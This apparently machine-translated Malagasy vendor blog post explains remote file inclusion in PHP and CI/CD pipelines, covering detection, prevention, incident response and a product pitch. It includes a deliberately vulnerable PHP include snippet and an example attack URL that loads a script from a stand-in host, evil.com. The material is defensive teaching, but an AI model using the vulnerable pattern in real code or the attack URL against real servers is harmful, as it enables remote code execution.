Fampiharana kaody lavitra - inona no atao hoe fampidirana rakitra lavitra

Fampidirana rakitra lavitra: Ahoana no mitranga ary ahoana no ahafahan'ny mpamorona misoroka izany?

Nahoana no zava-dehibe ny fampidirana rakitra lavitra ao amin'ny rojo famatsiana rindrambaiko?

Inona no atao hoe fampidirana rakitra lavitra?

Ny fahatakarana ny atao hoe fampidirana rakitra lavitra dia tena ilaina ho an'ireo mpamorona rindrambaiko izay mikasa ny hiaro ny rindranasany dieny eo am-piandohan'ny tsingerin'ny fiainan'ny fampandrosoana rindrambaiko (SDLCIty fahalemena ity, izay matetika tsy raharahiana, dia ahafahan'ny mpanafika mampiditra sy mampihatra kaody lavitra, mametraka ny rafitrao sy pipelinetandindonin-doza. 

Ny fampidirana rakitra lavitra (RFI) dia fahalemena ara-piarovana tena ilaina izay ahafahan'ny mpanafika mampiditra sy manatanteraka rakitra ivelany ao amin'ny mpizara anao, izay matetika mitarika amin'ny fanatanterahana kaody lavitra (RCE). Amin'ny fampiharana, midika izany fa mety hampandeha kaody tsy ara-dalàna ao amin'ny tontolo iainanao ny mpilalao ratsy fanahy, hanimba ny fananganana, na hampiditra zavatra mampidi-doza ao amin'ny ... pipelineIzay olana kely amin'ny fanamarinana fidirana dia mety ho lasa fandrahonana lehibe amin'ny rojo famatsiana rindrambaiko.

Na dia matetika mifandray amin'ny PHP aza ny RFI, ny lamina fototra, ny famoahana rakitra tsy azo itokisana mifototra amin'ny fidiran'ny mpampiasa, dia mety hisy fiantraikany amin'ny fiteny fandaharana maro sy CI/CD fomba fiasa. Izany no mahatonga ny fahatakarana ity fahalemena ity ho tena ilaina ho an'ny ekipa mpamorona maoderina, indrindra rehefa tsy maintsy ampidirina ny fiarovana manomboka amin'ny kaody ka hatramin'ny fametrahana azy.

Amin'ny toe-javatra tena misy, ny fanafihana fampidirana rakitra lavitra dia nitarika ho amin'ny fanatanterahana kaody lavitra tsy nahazoana alalana, ny fanitsakitsahana ny mpizara feno, ny fanesorana ny angon-drakitra saro-pady, ary ny fanitsakitsahana mafy ny fetran'ny fitokisana amin'ny rojo famatsiana rindrambaiko. Io fahalemena io dia mazàna misy fiantraikany amin'ny fampiharana mifototra amin'ny PHP sy ny tontolo iainana fitantanana rakitra mavitrika, na dia mety hiseho amin'ny fiteny fandaharana sy rafitra hafa aza ny lamina mitovy amin'izany. Andeha hojerentsika lalina ny antony mahatonga ny fahatakarana ny atao hoe fampidirana rakitra lavitra sy ny fomba fiasany ho afaka manampy amin'ny fisorohana ny tranga famonoana kaody lavitra mampidi-doza.

Ahoana ny fiasan'ny fampidirana rakitra lavitra?

Mitranga ny fampidirana rakitra lavitra (RFI) rehefa mampiditra rakitra ivelany mifototra amin'ny fampidirana avy amin'ny mpampiasa izay tsy nohamarinina tsara. Izany dia manokatra ny varavarana ho an'ny mpanafika hampiditra kaody manimba avy amin'ny loharano lavitra, izay matetika miteraka famonoana kaody lavitra (RCE).

Ahoana ny fiasan'ny fanararaotana - Dingana isan-dingana

  1. Fidirana tsy voamarinaMampiasa masontsivana fangatahana na fidiran'ny mpampiasa hafa ny fampiharana mba hanapahan-kevitra hoe iza ny rakitra hampidirina.
  2. Fampidirana rakitra lavitra: Ampiasaina mivantana ao amin'ny asa fampidirana rakitra io fidirana io (toy ny include() amin'ny PHP), tsy manamarina ny niandohana na ny maha-azo itokiana azy.
  3. Fanatanterahana kaody lavitraRaha manondro script lavitra manimba ny fidirana, dia maka sy manatanteraka izany ny mpizara, ka manimba ny rafitra.

Ohatra amin'ny kaody PHP marefo:

				
					<?php
    $page = $_GET['page'];
    include($page); // Dangerous: no validation applied
?>
				
			

Amin'ity ohatra ity, mety ho voafehin'ny mpanafika ny masontsivana pejy mba hanondroana URL ivelany manimba, ka mitarika amin'ny fanatanterahana ny kaody lavitra.

Ny fomba fampidirana mahazatra dia ahitana ny fandefasana URL lavitra ho toy ny masontsivana fangatahana. Ireo mpanafika dia mampiantrano script maloto any ivelany ary manova URL toy izao: http://example.com/index.php?page=http://evil.com/malicious.php

Toe-javatra fanafihana

Ity tranga ity dia manasongadina ny fomba ivelaran'ny RFI mihoatra ny kaody runtime ary misy fiantraikany amin'ny rojo famatsiana rindrambaikoRaha vao voasarika ao anaty pipeline, afaka manapoizina ny fananganana (build) ireo mpanafika, manova ny lojikan'ny fametrahana (deployment log), na mamoaka tsiambaratelo avy ao anatin'ny tontolo azo itokisana.

  • Fametrahana ny Web Shell: Mameno akorandriaka tranonkala lavitra ireo mpanafika, ka ahafahana miditra lavitra maharitra.
  • Fampiantranoana rindrambaiko maloto: Mandefa malware na cryptominers amin'ny alàlan'ny RFI ireo mpizara ivelany.
  • Fampiharana kaody ao amin'ny Pipelines: Rehefa misy fiantraikany amin'ny rafitra backend na tontolo fananganana mandeha ho azy ny fahalemen'ny RFI, dia mety hiasa toy ny artifacts lavitra ampidirina ny rakitra ivelany voajirika, ka hampidi-doza ny rindrambaiko manontolo. pipelines ary mitarika amin'ny fanatanterahana kaody lavitra tsy hita ao anatin'ny workflows DevOps. 

Fizotry ny fanafihana mahazatra:

 1. Mampiantrano script manimba ny mpanafika

 2. Ny fanodinkodinana ny masontsivana URL dia mitarika ny fampiharana haka sy hampihatra ity script lavitra ity

 3. Manatanteraka kaody tsy azo itokisana ny mpizara, ka manimba ny tontolo iainany sy ny rafitra mety ho simba.

Ao anatin'ny fampandrosoana azo antoka, ny fahafantarana ny atao hoe fampidirana rakitra lavitra dia afaka manampy ny ekipa hisoroka ny fampidirana fahalemena toy izany dieny eo am-piandohan'ny tsingerin'ny rindrambaiko.

Fitiliana sy famantarana ny fahalemena amin'ny fampidirana rakitra lavitra

Ny famantarana ireo fahalemen'ny fampidirana rakitra lavitra dia mitaky famakafakana kaody statika sy fanaraha-maso ny fitondran-tena. Koa satria matetika ny RFI dia manararaotra ireo lamina kaody toa tsy mampidi-doza, ny ekipa mpamorona sy fiarovana dia tsy maintsy mitandrina amin'ny fomba fanao kaody tsy azo antoka sy ny fitondran-tena tsy mahazatra amin'ny fotoana fiasana izay manondro fetran'ny fitokisana voasakana. Ireto ambany ireto ny famantarana fototra hanampy amin'ny famantarana ny mety ho loza ateraky ny RFI dieny eo am-piandohan'ny tsingerin'ny rindrambaikonao.

  • Tondro ho an'ny famerenana ny kaody:
    • Fampiasana fampidirana rakitra dinamika tsy misy fanamarinana fidirana hentitra
    • Fampidirana rakitra lavitra mifototra amin'ny masontsivana URL
  • Famantarana ny fitondran-tena:
    • Antso tsy nampoizina avy amin'ny mpizara azo itokisana
    • Log mampiseho ny fampidirana rakitra ivelany
    • Soratra tsy mahazatra tanterahina avy amin'ny lalana tsy eo an-toerana, izay manondro fetran'ny fitokisana voasakana
  • Fitaovana famantarana:
    • Fitsapana fiarovana ny fampiharana statika (SAST)
    • Fitsapana fiarovana ny fampiharana dinamika (DAST)
    • Famakafakana ny firafitry ny rindrambaiko (SCA)
    • Detection Anomaly ho an'ny fangatahana ivelany tsy mahazatra.

A Deep Dive in CI/CD PipelineFahalemena

Jereo ny andian-dahatsoratra bilaogy momba ny Poisoned Pipeline Famonoana (PPE)

Vakiteny mifandraika:

Ireo risika sy fiantraikan'ny orinasa

  • Famoahana data: Azo angonina amin'ny alalan'ny script lavitra manimba ny fampahalalana saro-pady
  • Fifandonana amin'ny mpizara: Matetika ny RFI dia miteraka fakana an-keriny tanteraka ny mpizara
  • Tsindrona artifact lavitra ratsy fanahy: Raha vao mampiditra zavatra avy lavitra ny mpanafika, dia mety ho voaloto ny fananganana sy ny fametrahana azy any aoriana.
  • Nandika ny fetran'ny fitokisana: CI/CD pipelineManatanteraka kaody tsy azo itokisana manapaka ny fahamarinan'ny rojo famatsiana fototra
  • Loza amin'ny fanarahan-dalàna: Tsy fanarahana ny GDPR, PCI DSS, sy ny hafa standardnoho ny tsy fahampian'ny fomba fanao amin'ny kaody azo antoka

Teknika fisorohana ho an'ny mpamorona

Eto ianao dia hahita lisitr'ireo teknika fisorohana sasany izay mety hanampy anao:

Fanamafisana ny fidirana sy fanadiovana

  • Lisitra hentitra momba ireo lalan'ny rakitra azo ekena
  • Fisorohana ny lalan'ny rakitra dinamika raha azo atao
  • Fanamarinana MIME/karazana sy fampiharana ny fanitarana rakitra azo antoka
  • Ampiasao ireo tranomboky fanamarinana fidirana manokana amin'ny fiteny

Fampiharana Coding azo antoka

  • Atsaharo ny fampidirana rakitra lavitra amin'ny alàlan'ny fikirakirana toy ny allow_url_include=Tsy miasa (PHP)
  • Ampiharo ny lalana eo an-toerana tanteraka, voamarina, ho an'ny fampidirana rakitra rehetra
  • Ampiharo ny fitsipiky ny tombontsoa kely indrindra amin'ny tontolo fampiharana rehetra
  • Sakanana ireo loharano lavitra tsy misy sonia na tsy azo itokisana

DevSecOps sy CI/CD Guardrails

  • Ampiharo ny scanning static sy dynamic ao anatin'ny CI/CD pipelines
  • mamorona guardrails mba hamantarana sy hanakanana ny fampidirana rakitra lavitra
  • Ampiharo ny politika hentitra momba ny kaody manohitra ny fampidirana rakitra mavitrika sy tsy voamarina
  • Araho maso ny fizotran'ny fananganana raha misy fangatahana loharanon-karena ivelany tsy ekena

Tetikady fiarovana amin'ny runtime

  • Mampiasa Web Application Firewalls (WAFs) mba hanakanana ireo fangatahana ratsy
  • Ampiasao ny fitadiavana tsy fetezana mitohy sy ny fanaraha-maso ny fiarovana
  • Manaova fanaraha-maso tsy tapaka ny kaody sy fitsapana fidirana mifantoka amin'ny fiarovana

Fihetseham-po

Inona no tokony hatao raha toa ka ampiasaina ny fampidirana rakitra lavitra?

Araho ireto dingana ireto:

  • Saraho avy hatrany ireo mpizara na serivisy voakasik'izany
  • Fakafakao ireo log mba hanarahana ny fihetsiky ny mpanafika sy hamantarana ireo loharano voajirika
  • Amboary ny kaody marefo ary amboary indray ny rindranasa voakasik'izany
  • Manaova fanadihadiana ara-pitsarana mba hanamarinana ny fahamarinan'ny rano any ambany pipeline singa
  • Hamafiso ny fanaraha-maso mba hisorohana ny fiverimberenan'izany

Koa, raiso ho toy ny fandrahonana amin'ny rojo famatsiana rindrambaiko ny fampidirana rakitra lavitra

Ankehitriny rehefa fantatrao ny atao hoe fampidirana rakitra lavitra, dia tsy tokony hoheverinao ho lesoka tsotra fotsiny amin'ny fanoratana kaody izany. Izy io dia singa manan-danja izay mety hampiditra zavatra ratsy ary mandika ny fetran'ny fitokisana amin'ny rindrambaikoo. pipelines. Amin'ny alàlan'ny fanimbana ireo mpizara backend na CI/CD Amin'ny dingana rehetra, ny RFI dia ahafahan'ny mpanafika manova ny fananganana, mampiditra fanovana tsy nahazoana alalana, ary mampiely kaody voajirika any aoriana. Ny tsy firaharahiana ny loza ateraky ny fanatanterahana kaody lavitra vokatry ny RFI dia mety hahatonga ny rojo famatsianao ho marefo.

Tsy maintsy mampihatra fepetra fisorohana ny RFI manerana ny fikambanana SDLC sy CI/CD fomba fiasa. Tafiditra ao anatin'izany ny famakafakana statika sy dinamika, ny fanamarinana hentitra ny fidirana, ny fanamafisana ny fotodrafitrasa, ary ny fanaraha-maso mitohy. Tena ilaina ny fanabeazana ny mpamorona rindrambaiko sy ny fomba fanao azo antoka araka ny famolavolana mba hiarovana amin'ny RFI sy ireo fanafihana mifandraika amin'izany amin'ny rojo famatsiana.

Farany fa tsy ny kely indrindra, ny fiarovana ny rojo famatsiana rindrambaiko maoderina dia mitaky fitandremana amin'ny fahalemena toy ny fampidirana rakitra lavitra izay mety hiharatsy manomboka amin'ny fahadisoana tsotra ka hatramin'ny pipeline-fifanarahana amin'ny ankapobeny, ka miteraka toe-javatra mampidi-doza amin'ny fanatanterahana kaody lavitra.

Te hianatra avy amin'ireo manam-pahaizana manokana momba ny fiarovana an-tserasera ve ianao? Araho ny SafeDev Talk anay ao amin'ny Fahalemena tsy misy fiafarany, fiarovana marani-tsaina kokoa - Fitantanana ny risika amin'ny rindrambaiko maoderina ao amin'ny YouTube!

Ahoana no ahafahan'ny Xygeni manampy

Xygeni manome fiarovana mialoha amin'ny fanafihana RFI amin'ny alàlan'ny fametrahana fanaraha-maso fiarovana amin'ny fotoana tena izy manerana ny CI/CD pipelines:

  • Manakana ireo fampidirana lavitra tsy azo itokisana amin'ny dingana fananganana mampiasa ny azo amboarina guardrails.
  • Mamantatra fihetsika tsy mahazatra toy ny fakana ivelany mampiahiahy, fanatanterahana script tsy nampoizina, na zavatra lavitra tsy nosoniavina.
  • Mampihatra ny fahamarinan'ny artifact hentitra miaraka amin'ny fanamarinana sy ny fanamarinana ny fiaviany, izay miantoka fa ny kaody azo itokisana ihany no mandalo ao amin'ny kaontinao SDLC.
    Monitors CI/CD fandaminana sy famaritana asa mba hisorohana ny fiparitahana tsy nahy amin'ny risika mitovy amin'ny RFI ao amin'ny script na plugins fananganana.

Amin'ny alàlan'ny fijerena tsy tapaka ny tsy fetezan'ny fikirakirana, famakafakana ny fihetsiky ny kaody, ary fanamarinana ireo zavatra tsy ilaina amin'ny fotoana tena izy, dia manakana ny RFI sy ireo fandrahonana hafa amin'ny fampiharana lavitra ny Xygeni. alohan'ny hanombohany ny famokarana.

Atombohy ny fitsarana anao maimaimpoana ary jereo ny fomba iarovan'ny Xygeni ny rojo famatsiana rindrambaiko amin'ny fanafihana RFI sy ny sisa.

fitaovana-fandrafetana-rindrambaiko-sca-fitaovana-famakafakana-firafitra
Ataovy laharam-pahamehana, amboary ary arovy ny loza mety hitranga amin'ny rindrambaikonao
Alao ny kaontinao maimaim-poana.
Tsy mila carte de crédit.

Arovy ny fampandrosoana sy ny fanaterana ny rindrambaikoo

miaraka amin'ny Xygeni Product Suite